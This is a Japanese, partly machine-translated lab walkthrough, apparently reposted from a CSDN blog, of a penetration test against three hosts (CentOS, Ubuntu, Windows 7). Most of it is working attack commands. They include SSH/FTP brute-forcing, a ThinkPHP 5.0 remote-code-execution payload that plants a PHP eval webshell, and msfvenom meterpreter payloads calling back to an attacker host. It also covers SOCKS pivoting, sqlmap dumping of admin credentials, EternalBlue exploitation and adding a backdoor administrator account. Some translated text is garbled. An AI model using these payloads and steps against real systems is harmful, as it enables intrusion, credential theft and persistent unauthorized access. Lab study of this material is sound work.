ペネトレーションテストの実践 - 外部ネットワークペネトレーションと内部ネットワークペネトレーション (超詳細)

研究室環境

環境の半分が崩壊し、IP アドレスが以下の影響を受ける

Target1 - Centos7 (Web サービス)

此主机的IP地址:
192.168.41.136 (模拟公网IP能与物理机通讯)
192.168.22.132

Target2 - Ubuntu (イントラネット Web サービス)

此主机的IP地址:
192.168.22.133
192.168.33.130

Target3 - Windows7 (クライアント)

此主机的IP地址:
192.168.33.33

目的

3 つのホスト権限を取得します

実験手順

テスト対象1

メッセージを収集する

dirsearch を使用して Web サイト ディレクトリ 192.168.41.136 をスキャンし、http://192.168.41.136/index.php が Thinkphp フレームワークであることを確認します。

nmapスキャンポート

ポート 22/21 の弱いパスワードのブラスティング (MSF、ヒドラ)

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.41.136
set USER_FILE /root/Desktop/tools/dic_username_ssh.txt
set PASS_FILE /root/Desktop/tools/pwd100.txt
 hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ssh -f

 hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ftp -f

ポート3306

リモート IP ログインは許可されていません

ポート8888

Pagodaインターフェースが不明なアカウントのパスワードは使用できません

ポート80

Thinkphp v5.0にはリモートコマンド実行の脆弱性があり、コマンド実行、GetShellを通じて文章を書く

PHP 一文トロイの木馬 poc

/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put
_contents&vars[1][]=admin123.php&vars[1][]=<?php @eval($_POST[123]);?>

Ant Sword を使用してリンクを成功させる

Web サーバー (192.168.41.136) が正常に取得されました。

ホスト情報の収集

ifconfig は 22 のネットワーク セグメントがあることを検出します。

スクリプトを /tmp ディレクトリにアップロードし、22 のネットワーク セグメント ping.sh をスキャンします。

#!/bin/bash
for num in {
    
    1..254};
  do
    ip=192.168.22.$num
    ping -c1 $ip >/dev/null 2>&1
    if [ $? = 0 ];
    then
      echo "$ip" ok
    else
      echo "$ip" fail
    fi
  done

ping.sh 権限を付与して実行する

chmod 777 ping.sh

./ping.sh > ping.txt

しかし実行できません。環境の問題なのかわかりません。別の方法でイントラネット スキャン ツール fscan をアップロードしてください

bash を使用してシェル メソッドをリバウンドし、攻撃マシンにリバウンドする

fscan 権限を与えて実行すると、生き残っているホスト 192.168.22.133/132 とポートが開いていることがわかり、192.168.22.133 が CMS であることがわかります。

./fscan_amd64 -h 192.168.22.0/24

シェルをmsfにバウンスする

Target1 のシェルを MSF にリバウンドさせます

msfvenom ペイロードを生成する

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.41.130 lport=6666 -f elf -o msf.elf

Target1の/tmpディレクトリにアップロードして実行

# 赋予执行权限
chmod 777 msf.elf
# 执行程序
./msf.elf

meterpreter > get_local_subnets を実行してネットワーク セグメント情報を取得する

Socks プロキシを作成する

Target1 の meterpreter シェルを取得した後、192.168.22.0/24 ネットワーク セグメントにルートを追加します。

run autoroute -s 192.168.22.0/24
run autoroute -p

MSF の Socks5 モジュールを使用して Socks プロキシ サービスを開始します

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run

proxychains プロキシ ツールを構成する

vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

密航プロキシを使用することもできます

1. 攻撃マシンが管理監視を開始します。

./admin -l 4444 -s hack

2. Target1 がエージェントを開始します

./agent -c 192.168.41.130:4444 -s hack

3. Socks プロキシを開きます

Target1 のノードノードを入力し、socks コマンドを使用して sock プロキシを開きます。

use 0
socks 1080

4. proxychains4.conf ファイルを編集します。

vim /etc/proxychains4.conf

5. Socks プロキシをテストし、プロキシチェーン ツールを使用します。

テストターゲット2

メッセージを収集する

イントラネット スキャン用の 22 のネットワーク セグメント、

proxychains nmap -sT -Pn -p- -n -T4 192.168.22.133

21/22ポート

弱いパスワードのブラストに失敗しました

proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 ftp
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 ssh
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 mysql

ポート8888

パゴダのページは利用できません

ポート80

上記の情報収集により、ポート 80 が Bagecms フレームワークであることがわかり、過去の脆弱性を検索し、見つかった POC を使用して SQL インジェクションの脆弱性があることを 1 つずつテストし、テスト用の sqlmap ツールを使用しました。

プロキシ サーバーに接続することで、ローカルの物理マシンがイントラネットの Web ページにアクセスできるようになり、bagcms であることも明確にわかります

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword

バーストデータベース

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword --dbs

Bagcms のテーブル名を展開します。

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables

Bag_admin 列のデータを展開する

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump

バックグラウンド ログイン アカウントのパスワードを取得します: admin/123qwe

プロキシファイア ツールを使用してローカル物理マシンのグローバル プロキシを設定し、Yujian ディレクトリ スキャン ツールを使用してイントラネット Web サービスをスキャンできるようにします。

Yujian ディレクトリをスキャンした後、/robots.txt ディレクトリにアクセスするとディレクトリ リークが見つかり、管理背景のアドレスを取得しました。

バックグラウンドでログイン -> テンプレート -> サイトフォルダー内のindex.phpファイルの後に文を追加 -> Ant Swordを使用してWebシェルに接続するようにソックスプロキシを設定します

オンラインの target2 ターゲット マシンに正常に接続されました

そして root ユーザーとして (192.168.22.133 サーバー権限を取得します)

ホスト情報の収集

ifconfig

192.168.33.0/24 のイントラネット セグメントが存在することがわかります。

密航レイヤー 2 ソックス プロキシを使用する

1. ノードでの監視を有効にする

ノード 0 ノードに入り、listen を実行し、listen ポートを設定し、listen モードを有効にします。

use 0
listen
1
7070

Target1 では、エージェントがポート 7070 をリッスンしていることがわかります。

2. Target2 接続のリスニング ポート

Target2 をリッスンする Target1 のポート 7070 に接続します。

./agent -c 192.168.22.130:7070 -s hack

3. Socks プロキシを開きます

管理者は新しいノード 1 を受け取り、ノード 1 ノードに入り、Socks プロキシを開始します。

4. proxychains4.conf ファイルを変更してプロキシをテストします。

vim /etc/proxychains4.conf  

イントラネット生存検出用の ping.sh スクリプトを作成し、192.168.33.33 ホストが生存していることを確認します。

#!/bin/bash
for num in {
    
    1..254};
  do
    ip=192.168.22.$num
    ping -c1 $ip >/dev/null 2>&1
    if [ $? = 0 ];
    then
      echo "$ip" ok
    else
      echo "$ip" fail
    fi
  done

テスト対象3

メッセージを収集する

proxychains3 nmap -sT -Pn -p- -n -T4 192.168.33.33

イントラネット スキャン ツール fscan を使用して 3 つのネットワーク セグメントをスキャンすると、192.168.33.33 が Windows 7 システムであり、MS17-010 の脆弱性があることがわかります。

分析と活用

MS17-010 の脆弱性があることはわかっています。この脆弱性は、TCP ポート 445 および 139 を介して SMBv1 および NBT でリモート コード実行の脆弱性を悪用し、悪意のあるコードを介して 445 のファイル共有ポートを開いている Windows ホストをスキャンして攻撃します。

攻撃マシンの MSF を開き、Target1\2 のシェルをリバウンドし、Linux システムのトロイの木馬ペイロードを生成します。

msfvenom -p linux/x64/meterpreter/bind_tcp lport=5554 -f elf > target1.elf
msfvenom -p linux/x64/meterpreter/bind_tcp lport=5555 -f elf > target2.elf

サーバーディレクトリにアップロードしてAnt Sword経由で実行し、target1とtarget2のセッションを取得し、ルーティングを設定します。

MSF の MS17-010 スキャン モジュールを使用して脆弱性を検出したところ、MS17-010 の脆弱性が存在することが判明しました。

MS17-010モジュールを使用した脆弱性攻撃

use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_psexec) > set payload 
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

target3のセッションを取得しており、システム権限(192.168.33.33)です。

上記の情報収集を使用すると、ホストが 3389 リモート ポートを開いていることがわかり、リモート デスクトップ接続に物理マシンを直接使用できるようになります。

ポート3389

# 添加管理员用户
net user test test123 /add
net localgroup administrators test /add
# 查看管理员用户
net localgroup administrators

管理ユーザーを追加した後、プロキシソフトウェアを使用してプロキシを設定します

リモート接続には Windows に付属のリモート ソフトウェアを使用します

ユーザーがログインしている場合は、30 秒待ってから自動的に回線を開始します。

ホストを停止すると、ネットワーク セグメントは 1 つだけになり、侵入が完了します。

おすすめ

転載: blog.csdn.net/weixin_44971640/article/details/129096084